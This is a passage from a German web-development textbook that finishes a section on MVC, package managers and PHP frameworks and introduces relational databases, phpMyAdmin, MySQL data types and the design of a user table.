                Abbildung 11.42 zeigt die Arbeitsweise des Musters schematisch.

                Der Vorteil des MVC-Musters liegt also in der Trennung der einzelnen Bereiche: Möchten Sie etwas an der Datenstruktur ändern, so betrifft das das Model, (im Idealfall) nicht jedoch die View und den Controller. Möchten Sie das Aussehen der Website ändern, so ist die View betroffen, nicht jedoch das Model und der Controller. Soll sich die Logik ändern, so greifen Sie zum Controller.

                Gänzlich lassen sich Model, View und Controller nicht trennen, denn ein Hinzufügen einer Spalte in einer Datenbank (wie etwa die Angabe des Geschlechts eines Users) muss natürlich auch Auswirkungen auf die View (etwa ein zusätzliches Feld in einem Registrierungsprozess) und den Controller haben (das in einem Registrierungsprozess eingegebene Geschlecht muss verarbeitet werden). Dennoch ist dieses Architekturkonzept ein sehr guter Ansatz, um die Übersichtlichkeit und Modularisierbarkeit von Programmcode (wesentlich) zu erhöhen.

                
                    [image: Das MVC-Muster]

                    Abbildung 11.42    
            Das MVC-Muster

                
            

            	
                Modularisierung: Unter einer Modularisierung verstehen wir ja das Aufteilen eines Ganzen in einzelne Teile, die wir als Module bezeichnen. Zwar haben wir uns in Abschnitt 11.8 über das Auslagern von Code unterhalten, jedoch waren unsere Beispiele allesamt noch ein wenig zu klein, um daraus Module entstehen zu lassen. Je größer ein Projekt wird, umso eher entsteht jedoch der Bedarf, gewisse Bestandteile der Seite immer wieder zu verwenden. Soll beispielsweise eine Navigation auf allen Seiten einer Website dargestellt werden, so könnte diese in eine extra Datei ausgelagert werden, die sich um ihre Generierung und Darstellung kümmern soll. Selbiges gilt für Bildergalerien usw.

            

            	
                Paketmanager: Ich hatte das Thema Paketmanager bereits angesprochen, als es um den Composer ging. Die grundlegende Idee hinter einem Paketmanager ist es, bereits geschriebenen Code für neue Projekte zu verwenden. Jedoch ist es in der Programmierung oft der Fall, dass das Zusammenspiel einzelner Codefragmente von der Version abhängt (z. B. von der im Code verwendeten PHP-Version) und diese somit zueinander kompatibel sind. An dieser Stelle kommt ein Paketmanager wie etwa Composer ins Spiel: Über eine Konfigurationsdatei, die üblicherweise im JSON-Format geschrieben ist, wird festgelegt, welche Module in welcher Version im neuen Projekt installiert werden sollen. Außerdem kann angegeben werden, welche Module wiederum von welchen anderen Modulen abhängig sind, sodass auch diese wiederum installiert werden. Eines der bekanntesten Repositories für Composer ist Packagist (https://packagist.org/).

            

            	
                Frameworks: Schlussendlich kommt man wie üblich an den Punkt, an dem man nicht mehr nur selbst entwickeln, sondern auf Bestehendes zurückgreifen möchte. Gerade in der PHP-Entwicklung tun sich da zwei sehr grundlegende Wege auf: Die eine Gruppe an Entwicklern tendiert dazu, ihr eigenes Framework zu programmieren; die andere Gruppe tendiert eher dazu, bestehende Frameworks einzusetzen. Eines dieser Frameworks ist beispielsweise Laravel (https://laravel.com). Hierbei handelt es sich um ein sehr bewährtes und ausgereiftes PHP-Framework. Voraussetzung für seine Nutzung ist jedoch ebenfalls wieder, dass Sie sich mit objektorientierter Programmierung auskennen. Weitere bekannte und bewährte Frameworks sind:

                
                    	
                        Symfony (https://symfony.com/)

                    

                    	
                        Zend Framework (https://framework.zend.com/)

                    

                    	
                        Cake PHP (https://cakephp.org/)

                    

                

            

        

    


                    
                        12    Wohin mit all den Daten? Datenbanken liefern die Antwort
Bevor ich tiefer in die Thematik einsteige, möchte ich einen einführenden Satz loswerden: Das Ziel einer Datenbank ist das strukturierte Speichern von Informationen. Was ist mit strukturierten Daten gemeint? An sich ist eine solche strukturierte Form zunächst einmal nichts anderes als eine Regel, wie einzelne Informationen voneinander getrennt werden können. Das Ergebnis einer zusammenhängenden Menge an Daten bezeichnen wir als Datensatz.
Theoretisch wäre das strukturierte Speichern von Daten somit in Form einer einfachen Textdatei möglich, wenn man etwa folgende Struktur (Regel) annimmt: »Vorname Komma Nachname Komma E-Mail-Adresse Komma Geburtsdatum Strichpunkt«, wodurch im unten stehenden Beispiel zwei Datensätze entstehen:

        	
            Vorname, Nachname, E-Mail-Adresse, Geburtsdatum;

        

    
Beispiele wären etwa:

        	
            Hermann, Maier, hermann.maier@test.at, 7.12.1972;

        

        	
            Sabine, Müller, sabine.mueller@test.at, 1.6.1978;

        

    
Jedoch: Wenn wir von Datenbanken sprechen, dann meinen wir in der Regel nicht solch einfache Speichermöglichkeiten, sondern das Speichern von Informationen in Form von Tabellen. (In der Fachsprache nennt man diese Tabellen Relationen – daher auch der Begriff relationale Datenbanken.) Prinzipiell existieren neben den genannten Möglichkeiten noch weitere Formen von Datenbanken. Die wesentlichen Formen sind jedoch:

        	
            relationale Datenbanken

        

        	
            objektorientierte Datenbanken

        

        	
            Key-Value-Datenbanken

        

        	
            dokumentenorientierte Datenbanken

        

    
Wir werden uns in weiterer Folge mit relationalen Datenbanken beschäftigen.

        12.1    Alles Datenbank, oder was? Ein paar Begriffe

        Auf dem Markt existieren unzählige Datenbanksysteme, von denen nicht wenige kostenpflichtig sind, viele davon sind aber zum Glück kostenfrei. Das Datenbanksystem, das im Web bevorzugt zum Einsatz kommt, ist das MySQL-Datenbanksystem (bzw. dessen Fork MariaDB). MySQL ist weder das performanteste noch das beste Datenbanksystem, aber es ist kostenfrei, arbeitet sehr gut mit PHP zusammen, und die meisten Provider bieten es als Standardsystem an.

        Moment, Moment … Datenbanksystem, nicht Datenbank? Bevor wir also ins Detail gehen, vorab noch ein paar Begriffsdefinitionen:

        
            	
                Datenbank: Unter einer Datenbank versteht man lediglich die abgelegten, logisch zusammenhängenden Daten auf einem Datenträger.

            

            	
                Datenbankmanagementsystem: Hierunter versteht man die eigentliche Intelligenz, die sich um folgende Funktionalitäten kümmert:

                
                    	
                        Speicherung, Aktualisierung und Löschung von Daten

                    

                    	
                        Verwalten von Metadaten

                    

                    	
                        Vorkehrungen zur Datensicherheit, zum Datenschutz und zur Datenintegrität

                    

                    	
                        Bereitstellen eines Transaktionsmanagements, sodass mehrere User auf dem Datenbestand arbeiten können

                    

                    	
                        Optimieren von Abfragen

                    

                    	
                        Bereitstellen vordefinierter Funktionen sowie das Ermöglichen eigener Funktionalitäten (Stored Procedures etc.)

                    

                

            

            	
                Datenbanksystem: Dies wiederum ist der Oberbegriff für Datenbank und Datenbankmanagementsystem gemeinsam.

            

        

        In weiterer Folge werden wir anstatt der Unterscheidung in Datenbank, Datenbankmanagementsystem und Datenbanksystem einfach nur Datenbank sagen.

    


                    
                        
        12.2    Wir sind Administrator – die Verwaltung der Datenbank

        Um eine Datenbank (bzw. deren Inhalte und deren Aufbau) verwalten zu können, benötigen Sie ein entsprechendes Tool (Applikation o. Ä.), es sei denn, Sie wollen jegliche Verwaltung in Form von Befehlen ausführen. Wie Sie wissen, läuft im Internet jegliche Form der Kommunikation nach dem Client-Server-Prinzip ab. Das bedeutet, dass wir für die Verwaltung unserer Datenbank (die ja auf einem Datenbankserver läuft) einen entsprechenden Datenbankclient benötigen würden.

        Solche Clients existieren (z. B. Sequel Pro, HeidiSQL, MySQL Workbench), können jedoch in der Praxis nur selten verwendet werden, da die Provider den Zugriff für das benötigte Protokoll (Port 3306), über das der Datenbankclient und der Datenbankserver miteinander kommunizieren würden, aus Sicherheitsgründen sperren. Für die lokale Entwicklung auf dem eigenen System spielt das keine Rolle, weshalb Datenbankclients dort gerne eingesetzt werden. Im Zusammenhang mit Providern können wir wie gesagt derartige Tools normalerweise vergessen, so fein sie auch wären: Wenn’s der Provider nicht zulässt, diese einzusetzen, dann lässt er’s eben nicht zu. An dieser Stelle gewinnt unser Pragmatismus.

        Der einzige Ausweg, wie wir unsere Datenbank verwalten können, ist demnach über eine eigens programmierte Weboberfläche, die wir über einen Browser bedienen (die Kommunikation Webclient–Webserver muss ja funktionieren). Eine solche Oberfläche existiert netterweise tatsächlich: phpMyAdmin. Dieses Tool ist typischerweise bei einem jeden Provider installiert und steht für Ihnen für die Webentwicklung zur Verfügung.

        In unserer Umgebung erreichen wir das Tool über localhost/phpmyadmin. Bitte beachten Sie an dieser Stelle Folgendes:

        
            	
                Ab diesem Zeitpunkt muss der Datenbankservice gestartet sein (siehe das Control Panel von XAMPP in Abbildung 12.1).

            

            	
                In unserer lokalen Umgebung wird kein Passwort benötigt – das ist im realen Leben nicht der Fall (eh klar).

            

        

        
            [image: Je nach Betriebssystem sieht das Control Panel des XAMPP-Bundles etwas unterschiedlich aus, was uns aber nicht weiter verunsichert: Wir finden uns zurecht.]

            Abbildung 12.1    
            Je nach Betriebssystem sieht das Control Panel des XAMPP-Bundles etwas unterschiedlich aus, was uns aber nicht weiter verunsichert: Wir finden uns zurecht.

        
        Die Administrationsoberfläche erreichen wir also über die Eingabe von localhost/phpmyadmin in unserem Browser (siehe Abbildung 12.2).

        Der nächste Schritt ist nun, dass wir uns damit auseinandersetzen, wie Datenbanken und die darin befindlichen Tabellen aufgebaut sind.

        
            [image: Die Website »phpMyAdmin« dient als Administrationsoberfläche für MySQL-Datenbanken. Sie wird Ihnen in der nächsten Zeit vertraut werden.]

            Abbildung 12.2    
            Die Website »phpMyAdmin« dient als Administrationsoberfläche für MySQL-Datenbanken. Sie wird Ihnen in der nächsten Zeit vertraut werden.

        
    


                    
                        
        12.3    Tabellen und Co. – der Aufbau einer Datenbank

        Datenbanken sind in der Regel in Form von Tabellen aufgebaut (sogenannte relationale Datenbanken). Diese Tabellen werden in Spaltenform angelegt (wobei wir selten Spalten, sondern vielmehr Felder dazu sagen), und die zu speichernden Informationen bilden dann die Zeilen innerhalb der Tabelle, wobei wir eine solche Zeile einen Datensatz nennen.

        Eine Datenbank erhält von uns einen Namen, der üblicherweise immer mit db_ beginnt und immer kleingeschrieben wird, also etwa db_fullstack. Er enthält keine Leer- oder Sonderzeichen und auch keine Umlaute. Diese Form der Benennung einer Datenbank ist keine Verpflichtung, sondern eine Konvention, an die sich die meisten Datenbankentwickler halten. Neben dem Datenbanknamen müssen wir uns dann noch für den Zeichensatz entscheiden, mit dem die Datenbank arbeiten soll. Liegen nun sowohl der Datenbankname (z. B. db_fullstack) als auch der Zeichensatz (z. B. utf8mb4-general-ci) vor, können wir die Datenbank anlegen und mit der Erstellung von Tabellen fortfahren.

        
            [Info]  Zeichensätze

            Zeichensätze existieren wie Sand am Meer. In der Praxis entscheidet man sich üblicherweise für einen Unicode-Zeichensatz, wie eben UTF-8 einer ist. Jedoch sind auch diese Zeichensätze in viele Subtypen untergliedert. Derjenige, der uns am besten passt, ist utf8mb4-general-ci. Details zu Zeichensätzen finden Sie etwa unter https://dev.mysql.com/doc/refman/8.1/en/charset.html.

        

        In phpMyAdmin erstellen Sie eine neue Datenbank, indem Sie in der linken Spalte des Fensters (wo sämtliche Datenbanken aufgelistet sind, siehe Abbildung 12.3), auf Neu klicken.

        
            [image: Das Anlegen einer neuen Datenbank in phpMyAdmin]

            Abbildung 12.3    
            Das Anlegen einer neuen Datenbank in phpMyAdmin

        
        
            [»]  Datenbanken und Hosting-Provider

            In der Praxis (sprich: beim Arbeiten mit externen Providern) haben Sie normalerweise keine Rechte, eigenständig eine Datenbank anzulegen – in der Regel wird dies durch den Provider selbst erfolgen. Der Grund ist, dass Ihnen nur eine begrenzte Menge an Datenbanken zur Verfügung stehen und diese vorab vom Provider angelegt werden.

        

        Widmen wir uns nun dem Anlegen von Tabellen innerhalb der soeben erzeugten Datenbank. Anders als beim Arbeiten mit Excel oder anderen Tabellenkalkulationsprogrammen legt man bei Datenbanken großen Wert darauf, die Felder von Tabellen sehr genau zu definieren:

        
            	
                Spaltenname: Der Spaltenname muss innerhalb der Tabelle eindeutig sein und den typischen Schreibregeln genügen (keine Leerzeichen, keine Sonderzeichen (bis auf _), keine Umlaute, Groß- und Kleinschreibung beachten, keine führenden Ziffern).

            

            	
                Wertetyp: Der Wertetyp gibt an, welche Werte man in der Spalte speichern kann: Texte, Zahlen, Datums- oder Uhrzeitwerte usw.

            

            	
                Wertebereich: Der Wertebereich definiert den Umfang des zu speichernden Wertes. Das heißt, wie groß, wie lang bzw. wie genau der Wert gespeichert werden soll.

            

        

        In diesem Kapitel werden Sie noch weitere Begriffe kennenlernen, wie Schlüssel, Primärschlüssel, Index etc.– aber hierzu bitte noch etwas Geduld.

        Bevor wir uns um die Spalten einer Tabelle kümmern, muss die Tabelle erst einmal erzeugt werden. In phpMyAdmin erfolgt dies, indem Sie zunächst in der linken Spalte die gewünschte Datenbank auswählen und danach im erscheinenden Fenster einen Tabellennamen (dieser beginnt oft mit »tbl_«, also etwa »tbl_user«) und eine (vorab) gewünschte Anzahl an anzulegenden Spalten auswählen. Abbildung 12.4 zeigt dieses Fenster. Die Spaltenanzahl ist zu diesem Zeitpunkt lediglich die Angabe für phpMyAdmin, wie die Eingabemaske für die Spalten aufgebaut werden soll; die Anzahl der Spalten können Sie im Nachhinein jederzeit noch ändern.

        
            [image: Sobald eine Datenbank existiert, ist das Erstellen von Tabellen für diese Datenbank möglich. Hierzu muss zunächst einmal nur der Tabellenname gewählt werden.]

            Abbildung 12.4    
            Sobald eine Datenbank existiert, ist das Erstellen von Tabellen für diese Datenbank möglich. Hierzu muss zunächst einmal nur der Tabellenname gewählt werden.

        
        Theoretisch könnten Sie jeder Tabelle in einer Datenbank einen anderen Zeichensatz (als den der Datenbank) zuweisen. Da dies in der Praxis jedoch nur selten vorkommt, überlässt man die Wahl des Zeichensatzes einer Tabelle üblicherweise der Datenbank: Eine Tabelle erbt den Zeichensatz der Datenbank.

        
            12.3.1    Wertetypen

            Im nächsten Schritt werden nun die Felder innerhalb der Tabelle erzeugt. Dieser Punkt ist relativ heikel, und das aus zwei Gründen:

            
                	
                    Üblicherweise ist es unser Ziel, dass die Daten auf bestmögliche Art und Weise gespeichert werden, sodass sie im Idealfall wenig Speicherplatz benötigen und andererseits schnell abrufbar sind. Auch die Zukunftssicherheit in Hinblick auf eventuelle Erweiterungen spielt hier eine Rolle. Das bedeutet jedoch, dass wir uns für die zu speichernden Daten sehr genau überlegen müssen, von welchem Typ sie sind (z. B. Texte), wie groß sie werden dürfen (z. B. maximal 32 Zeichen), welchen Einschränkungen sie unterliegen (z. B. darf das Feld nicht leer bleiben) usw.

                

                	
                    Folgendes kommt hinzu: Wenn man dann die Tabellen mit Werten befüllt, ist ein nachträgliches Ändern des Wertetyps zwar möglich; hierdurch gehen jedoch nicht zu diesem Datentyp passende Daten verloren. Beispielsweise kann durch Umwandeln eines Textes »10,55« nicht die Zahl 10.55 erzeugt werden, da das Kommazeichen nicht stimmt (Komma anstatt Punkt). Einzig ein mehr oder weniger aufwendiger Migrationsprozess könnte hier noch Abhilfe schaffen.

                

                	
                    Jede Datenbank soll natürlich performen. Das heißt, sie soll schnell auf Anfragen reagieren können. Das kann sie nur, wenn wir die Struktur der Daten bestmöglich aufbereiten (womit wir uns noch ausführlich beschäftigen werden).

                

            

            Aus diesen Gründen (und noch einigen weiteren) sollten Sie sich immer ganz genau überlegen, welche Wertetypen und Co. Sie benötigen. Tabelle 12.1 bis Tabelle 12.4 zeigen die wichtigsten Wertetypen, wobei die in Klammern stehenden Buchstaben m und n die maximale Länge des zu speichernden Wertes angeben.

            
                
                    
                        	
                            Typ

                        
                        	
                            Speicher

                        
                        	
                            Wertebereich

                        
                        	
                            Beispiele

                        
                    

                
                
                    
                        	
                            Tinyint(n)

                        
                        	
                            1 Byte
(8 Bit)

                        
                        	
                            28 = 256, aufgeteilt in:
-128 bis +127 (signed; n<=4)
0 bis 255 (unsigned; n<=3)

                        
                        	
                            123

                            -19

                        
                    

                    
                        	
                            Smallint(n)

                        
                        	
                            2 Byte
(16 Bit)

                        
                        	
                            216 = 65536:
-32768 bis +32767 (signed; n<=6)
0 bis 65535 (unsigned; n<=5)

                        
                        	
                            256

                            -2300

                        
                    

                    
                        	
                            Mediumint(n)

                        
                        	
                            3 Byte
(24 Bit)

                        
                        	
                            224, signed (n<=9) oder unsigned (n<=8)

                        
                        	
                            65536

                            -172822

                        
                    

                    
                        	
                            Integer(n)

                        
                        	
                            4 Byte
(32 Bit)

                        
                        	
                            232, signed (n<=11) oder unsigned (n<=10)

                        
                        	
                            …

                        
                    

                    
                        	
                            Bigint(n)

                        
                        	
                            8 Byte
(64 Bit)

                        
                        	
                            264, signed (n<=21) oder unsigned (n<=20)

                        
                        	
                            …

                        
                    

                
            

            Tabelle 12.1    
            Ganzzahlen in MySQL

            
                
                    
                        	
                            Typ

                        
                        	
                            Speicher

                        
                        	
                            Wertebereich

                        
                        	
                            Anmerkungen

                        
                        	
                            Beispiele

                        
                    

                
                
                    
                        	
                            Fixed Point (Fixkomma)

                        
                        	
                    

                    
                        	
                            Decimal (Numeric)

                        
                        	
                            max. 65 Stellen

                        
                        	
                            aufteilbar in Ganz- und Kommastellen

                        
                        	
                            5,2 definiert eine fünfstellige Zahl, bei der maximal drei Stellen vor und zwei Stellen nach dem Komma stehen dürfen.

                        
                        	
                            233.57

                            -199.44

                        
                    

                    
                        	
                            Floating Point (Fließkomma)

                        
                    

                    
                        	
                            Float(m,n)

                        
                        	
                            4 Byte

                        
                        	
                            aufteilbar in Ganz- und Kommastellen (siehe Decimal)

                        
                        	
                        	
                            19.4798

                            -200.46

                        
                    

                    
                        	
                            Double(m,n)

                        
                        	
                            8 Byte

                        
                        	
                            aufteilbar in Ganz- und Kommastellen (siehe Decimal)

                        
                        	
                        	
                            …

                        
                    

                
            

            Tabelle 12.2    
            Kommazahlen in MySQL

            
                
                    
                        	
                            Typ

                        
                        	
                            Speicher

                        
                        	
                            Wertebereich

                        
                        	
                            Anmerkungen

                        
                    

                
                
                    
                        	
                            Char(n)

                        
                        	
                            n Bytes

                        
                        	
                            max. 65535 Zeichen

                        
                        	
                            fixe Länge innerhalb der Datenbank, weshalb das Feld schneller, aber unflexibler gegenüber Varchar ist

                        
                    

                    
                        	
                            Varchar(n)

                        
                        	
                            n=m+c Bytes:

                            
                                	
                                    m: tatsächliche Anzahl der im Feld gespeicherten Zeichen

                                

                                	
                                    c: speichert die Länge des Strings (mit c=1 für 0 bis 255 Zeichen bzw. c=2 für 256 bis 65535 Zeichen).

                                

                            

                        
                        	
                            
                                	
                                    variable Länge, wodurch die Speicherung gegenüber Char langsamer, aber flexibler ist (Die Datenbank bleibt kleiner.)

                                

                                	
                                    bevorzugter Wertetyp für die Speicherung (kürzerer) Texte

                                

                            

                        
                    

                    
                        	
                            Text

                        
                        	
                        	
                        	
                            Text (beinahe) beliebiger Länge, also etwa für längere Textpassagen, Einträge in Gästebüchern oder Foren, Inhalte von Websites etc., jedoch nicht indizierbar

                        
                    

                
            

            Tabelle 12.3    
            Textdatentypen in MySQL

            
                
                    
                        	
                            Typ

                        
                        	
                            Speicher

                        
                        	
                            Anmerkungen

                        
                        	
                            Beispiele

                        
                    

                
                
                    
                        	
                            Date

                        
                        	
                        	
                            Datum im internationalen Format jj-mm-tt

                        
                        	
                            1972-10-17

                            1978-05-02

                        
                    

                    
                        	
                            Time

                        
                        	
                        	
                            Uhrzeit im standardisierten Format hh:mm:ss

                        
                        	
                            22:45:00

                            07:43:04

                        
                    

                    
                        	
                            Datetime

                        
                        	
                        	
                            Datum und Uhrzeit kombiniert mit Leerzeichen dazwischen

                        
                        	
                            1972-10-17 22:45:00

                            1978-05-02

                        
                    

                    
                        	
                            Year

                        
                        	
                            1 Byte

                        
                        	
                        	
                            1972

                            1978

                        
                    

                    
                        	
                            Timestamp

                        
                        	
                            4 Byte

                        
                        	
                            Unix-Timestamp: die Anzahl der Sekunden, die seit dem 1.1.1970 laut Greenwich-Zeit vergangen sind

                        
                        	
                            88206300

                            1705149139

                        
                    

                
            

            Tabelle 12.4    
            Datentypen für Datum und Uhrzeit

            Weil die obigen Tabellen mit Sicherheit ein paar Fragen offen lassen, möchte ich auf ein paar Punkte kurz eingehen:

            
                	
                    Der Unterschied zwischen der maximalen Länge einer Zahl (also der Angabe von n) und dem Wertebereich ergibt sich aus folgender Überlegung: Beispielsweise kann eine Tinyint-Zahl ohne Vorzeichen maximal die Zahl 255 sein. Diese ist dreistellig. Möchte man Tinyint aber weiter einschränken, so könnte man beispielsweise definieren, dass die zu speichernde Zahl maximal eine Stelle aufweisen darf (Tinyint(1)), wodurch nur noch die Ziffern 0 bis 9 möglich wären. Sie sehen also, dass Tinyint zwar in der Lage wäre, Zahlen bis zum Wert 255 zu speichern, die Länge der Zahl dies jedoch nicht zulässt. Eine Auswirkung auf den Speicherplatz hat diese Einschränkung jedoch nicht.

                

                	
                    Der Unterschied zwischen Signed und Unsigned ist leicht erklärt: Unter dem Sign versteht man im Englischen das Vorzeichen. Signed bedeutet demnach, dass Zahlen mit einem negativen Vorzeichen gespeichert werden können (es sind also positive wie negative Zahlen möglich), unsigned hingegen lässt kein Vorzeichen zu (weshalb die Werte immer positiv sind).

                

                	
                    Der Unterschied zwischen Fixed Point und Floating Point: Wie Sie bereits erfahren haben, ist die Speicherung von Zahlen in der Informatik schwieriger als gedacht, da das dezimale Zahlensystem im Fall von Kommazahlen nicht in immer in das binäre Zahlensystem überführt werden kann. (Die Zahl 0,2 ergibt, binär dargestellt, beispielsweise eine periodische Binärzahl im Format IEEE754.) Wenn wir diese Thematik wieder aufgreifen, so können wir relativ einfach sagen: Floating-Point-Werte unterliegen diesem Problem, Fixed-Point-Werte hingegen nicht. Das führt uns unweigerlich zu der Erkenntnis, dass beispielsweise für die Speicherung wichtiger Zahlenwerte mit Kommastellen (wie etwa Währungswerte) ausschließlich Fixed Point zum Einsatz gelangen soll.

                

                	
                    Mediendateien wie Bilder, Audio- und Videodateien und ähnliche werden üblicherweise nicht in einer Datenbank gespeichert: Vielmehr wird der Pfad zu einer Mediendatei auf dem Webserver gespeichert.

                

            

        
        
            12.3.2    Tabellen innerhalb einer Datenbank anlegen

            Wie oben bereits erwähnt, bestehen Tabellen aus Spalten (Feldern), die man mithilfe von Wertetypen und -längen kennzeichnen muss.

            Den jeweiligen Spalten werden in weiterer Folge deren maximale Längen zugewiesen:

            
                	
                    Ganzzahlen: Die Länge wird automatisch auf Basis des Wertetyps erzeugt, sollte kein spezieller Wert vergeben werden.

                

                	
                    Kommazahlen: Man gibt die Anzahl der Stellen gesamt und die Anzahl der Nachkommastellen an: Die Länge 7,2 bedeutet, dass sieben Stellen gesamt reserviert werden, wobei zwei davon die Nachkommastellen sind.

                

                	
                    Text (Varchar und Char): Man gibt die Länge der zu speichernden Zeichen ein. Typischerweise verwendet man Längen in Hochzahlen von 2: 20=1, 21=2, 22=4, 23=8, 16, 32, 64, 128, 256 (diese sind für die Speicherung von Informationen in der Datenbank ideal) anstatt von Werten wie 50 (besser: 64), 30 (besser: 32) usw., es sei denn, die Länge ist für die Daten wesentlich.

                

                	
                    Datums- und Zeitwerte: Hier wird die Länge leer gelassen.

                

            

            Neben der Festlegung von Wertetyp und -länge existieren weitere spezielle Kennzeichnungen für Felder:

            
                	
                    Standardwert: Gibt an, welcher Wert in die Spalte geschrieben wird, sollte dieser nicht explizit angegeben werden. Bei Timestamp-Angaben wird gerne der aktuelle Zeitwert (CURRENT_TIMESTAMP) verwendet. Dabei sollten Sie darauf achten, dass es sich hierbei immer um den Zeitstempel auf dem Datenbankserver handelt.

                

                	
                    Kollation: Legt für das Feld einen speziellen Zeichensatz an; dies ist in der Regel nur sehr selten notwendig.

                

                	
                    Attribute (nur für Zahlen und Timestamp):

                    
                        	
                            binary: Gibt an, ob die Daten binär gespeichert werden sollen.

                        

                        	
                            unsigned: Gibt an, dass die Daten ohne Vorzeichen gespeichert werden. Es werden also nur positive Zahlen gespeichert.

                        

                        	
                            unsigned zerofill: Gibt an, dass die Daten erstens ohne Vorzeichen gespeichert werden und zweitens mit führenden Nullen aufgefüllt werden: Zum Beispiel wird aus 237 bei int(10) der Wert 00000237. (int(10) ist ja ein Integer mit 10 Stellen, daher gibt es dann sieben führende Nullen im Fall von 237.)

                        

                        	
                            on update CURRENT_TIMESTAMP: Gibt an, dass bei einem Aktualisieren dieser Zeile der aktuelle Zeitpunkt in dieses Timestamp-Feld gespeicher werden soll.

                        

                    

                

                	
                    Null: Gibt an, ob das Feld leer bleiben darf (Null ist angehakt) oder ausgefüllt werden muss (Null ist nicht angehakt).

                

                	
                    Index: Dies sind spezielle Kennzeichnungen der Felder in der Tabelle:

                    
                        	
                            Primary: Legt fest, dass es sich bei dieser Spalte um den Primärschlüssel handelt; ein solcher Primärschlüssel kennzeichnet einerseits eine Zeile eindeutig innerhalb einer Tabelle (d. h., Werte in dieser Spalte dürfen nicht doppelt vorkommen) und bietet andererseits in weiterer Folge die Möglichkeit, Tabellen miteinander zu verknüpfen.

                        

                        	
                            Unique: Legt fest, dass Werte in dieser Spalte nicht doppelt vorkommen dürfen. Im Wesentlichen soll die Verwendung von Unique verhindern, dass Daten mehrfach in eine Tabelle eingetragen werden, was nicht erlaubt ist. Ein Beispiel wäre etwa eine E-Mail-Adresse in einer Login-Tabelle: Diese darf nicht doppelt vorkommen (und muss somit unique sein), da ansonsten zwischen Usern nicht mehr unterschieden werden kann.

                        

                        	
                            Index: Gibt an, dass über diese Spalte Verknüpfungen zu anderen Tabellen vorgenommen werden können, bzw. wird diese für eine Suche innerhalb dieses Feldes optimiert.

                        

                    

                

                	
                    Auto-Increment (A_I; automatisches Erhöhen um 1): Gibt an, dass die Werte innerhalb dieser Spalte automatisch je eingetragener Zeile um 1 erhöht werden. Pro Tabelle darf nur ein Feld diese Kennzeichnung erhalten.

                

            

            
                [»]  Der Primärschlüssel

                Jeder Tabelle wird (in der Praxis) üblicherweise ein Primärschlüssel in Form einer fortlaufenden Zahl zugewiesen. Ein Primärschlüssel ist an sich einerseits nicht zwingend notwendig (sofern sämtliche Daten, die in dieser Tabelle gespeichert werden, voneinander unterschieden werden können und keine Verbindung zu einer anderen Tabelle hergestellt werden muss). Andererseits muss er nicht zwingend eine fortlaufende Zahl sein: Sollten andere Daten innerhalb der Tabelle eindeutig sein (z. B. das Geschlecht in einer Geschlechter-Tabelle), so kann man auch die Geschlechtsbezeichnung als Primärschlüssel heranziehen.

                Die Herangehensweise mit einer fortlaufenden Zahl ist jedoch zu empfehlen, da auf diese Weise die Datentypen aller Primärschlüssel immer gleich sind (und somit eine Fehlerquelle vermieden wird). Außerdem erfordert das auch weniger Denkarbeit.

            

            Betrachten wir ein erstes Beispiel: Wir wollen eine User-Tabelle anlegen, die folgenden Einschränkungen unterliegt:

            
                	
                    Die E-Mail-Adresse und das Passwort sollen Pflichtfelder sein und dürfen demnach nicht leer bleiben.

                

                	
                    Vor- und Nachname sowie das Geburtsdatum sind optional.

                

                	
                    Die Registrierung eines Users soll automatisch bei einem Eintrag eines neuen Users erfolgen.

                

            

            Weil wir, wie oben erwähnt, grundsätzlich jeder Tabelle eine eindeutige Kennzeichnung in Form einer fortlaufenden Zahl hinzufügen (die wir ID nennen und die uns als Primärschlüssel dient), ergeben sich die Felder aus Tabelle 12.5.

            
                
                    
                        	
                            Name

                        
                        	
                            Typ und Länge

                        
                        	
                            Attribute

                        
                        	
                            Null erlaubt?

                        
                        	
                            Standardwert

                        
                        	
                            Extras

                        
                        	
                            Index

                        
                    

                
                
                    
                        	
                            IDUser

                        
                        	
                            Integer(10)

                        
                        	
                            unsigned

                        
                        	
                            nein

                        
                        	
                        	
                            auto- increment

                        
                        	
                            Primary

                        
                    

                    
                        	
                            E-Mail-Adresse

                        
                        	
                            Varchar(64)

                        
                        	
                        	
                            nein

                        
                        	
                        	
                        	
                            Unique

                        
                    

                    
                        	
                            Passwort

                        
                        	
                            Varchar(255)

                        
                        	
                        	
                            nein

                        
                        	
                        	
                        	
                    

                    
                        	
                            Vorname

                        
                        	
                            Varchar(32)

                        
                        	
                        	
                            ja

                        
                        	
                            Null

                        
                        	
                        	
                    

                    
                        	
                            Nachname

                        
                        	
                            Varchar(32)

                        
                        	
                        	
                            ja

                        
                        	
                            Null

                        
                        	
                        	
                    

                    
                        	
                            GebDatum

                        
                        	
                            Date

                        
                        	
                        	
                            ja

                        
                        	
                            Null

                        
                        	
                        	
                    

                    
                        	
                            RegZeitpunkt

                        
                        	
                            Timestamp

                        
                        	
                        	
                            nein

                        
                        	
                            currenct_timestamp()

                        
                        	
                        	
                    

                
            

            Tabelle 12.5    
            Die (möglichen) Felder einer User-Tabelle

            Eine Besonderheit ist Ihnen vielleicht aufgefallen: Das Passwortfeld hat eine Länge von (im ersten Moment sehr unüblichen) 255 Zeichen. Der Grund besteht nicht darin, dass es Menschen gibt, die unglaublich lange Passwörter haben, sondern vielmehr in der Tatsache, dass Passwörter üblicherweise verschlüsselt gespeichert werden.

            Legen wir diese Tabelle also tatsächlich in phpMyAdmin an, so würden wir beim Anlegen der Tabelle sieben Felder benötigen, wie Abbildung 12.5 zeigt.

            
                [image: Unsere User-Tabelle entsteht in phpMyAdmin.]

                Abbildung 12.5    
            Unsere User-Tabelle entsteht in phpMyAdmin.

            
            Im unteren Bereich des Fensters sehen Sie zwei wichtige Punkte:

            
                	
                    Das Tabellenformat ist mit InnoDB angegeben: Diese Wahl benötigen wir, um in weiterer Folge Tabellen miteinander mithilfe von Constraints in Beziehung setzen zu können (die sogenannte referenzielle Integrität). Die Alternative wäre das Format MyISAM, mit dem jedoch solche Tabellenbeziehungen nicht möglich sind.

                

                	
                    Ich hatte schon angesprochen, dass jeder Tabelle (und sogar jedem Textfeld in einer Tabelle) ein eigener Zeichensatz (Kollation) zugewiesen werden kann. Wenn man dies nicht explizit tut, dann wird der Zeichensatz des übergeordneten Systems (Tabelle: Datenbank, Feld: Tabelle) herangezogen. In unserem Fall erbt somit die Tabelle den Zeichensatz von der Datenbank (utf8mb4-general-ci), und jedes Textfeld in dieser Tabelle erbt den Zeichensatz der Tabelle.

                

            

        
        
            12.3.3    Werte in eine Tabelle einfügen

